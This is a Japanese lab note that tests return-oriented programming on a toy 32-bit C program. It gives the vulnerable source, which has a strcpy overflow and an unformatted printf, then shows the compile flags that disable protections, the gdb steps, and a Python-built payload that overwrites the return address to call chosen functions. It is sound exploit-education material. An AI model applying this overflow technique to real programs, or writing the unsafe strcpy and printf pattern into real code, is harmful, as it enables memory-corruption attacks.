ROP検証 以下の環境、コードで検証
■環境
・Ubuntu2204
・gccの32ビットコンパイルのため以下をインストール
sudo apt install libc6-dev-i386
・コンパイル
gcc -m32 -fno-stack-protector -z execstack rop.c -o rop.out
・gdbによる分析
- gdb rop.out
- run 123 一度実行しておく
- disas main ➡vulnerable関数終了後の実行アドレスを確認しておく
- disas vulnerable ➡strcpy関数終了後の次の実行アドレスを確認しBreakポイントにする
- b *0x5555555551fa
- run 11111111112222222222333333333344 ➡32バイトを超えるとエラーになることがわかる。
- run 111111111122222222223333333333445555
➡info frameでリターンアドレスであるsaved eipが32バイトあとの4バイトであることを突き止める - rop1,rop2,rop3の関数を確認する
p rop1 ➡0x5655620d
p rop2 ➡0x5655623c
p rop3 ➡0x5655626b - 攻撃ペイロードの構築
./rop.out $(python -c ‘print(“A”*32 + “\x3c\x62\x55\x56\x6b\x62\x55\x56”)’)
★これを実行するとrop2,rop3が実行される。
rop1はアドレスに0dが入っているため、データ入力の際に改行と判断されてしまい、うまく注入できなかったのでrop2,rop3を呼び出した。
※Windowsだと
rop1 0x401410
rop2 0x401425
rop3 0x40143a
WindowsだとPythonのPrint関数を使ってデータを送り込めないのでファイルを読み込む方式に変更。rop1は呼び出せたが、アドレスが00が入るので続いてrop2,rop3を呼べなかった。
#include <stdio.h>
#include <string.h>
void rop1()
{
printf("ROP 1!\n");
}
void rop2() {
printf("ROP 2!\n");
}
void rop3() {
printf("ROP 3!\n");
}
void vulnerable(char* string)
{
char buffer[20];
strcpy(buffer, string);
}
int main(int argc, char** argv)
{
vulnerable(argv[1]);
printf(argv[1]);
return 0;
}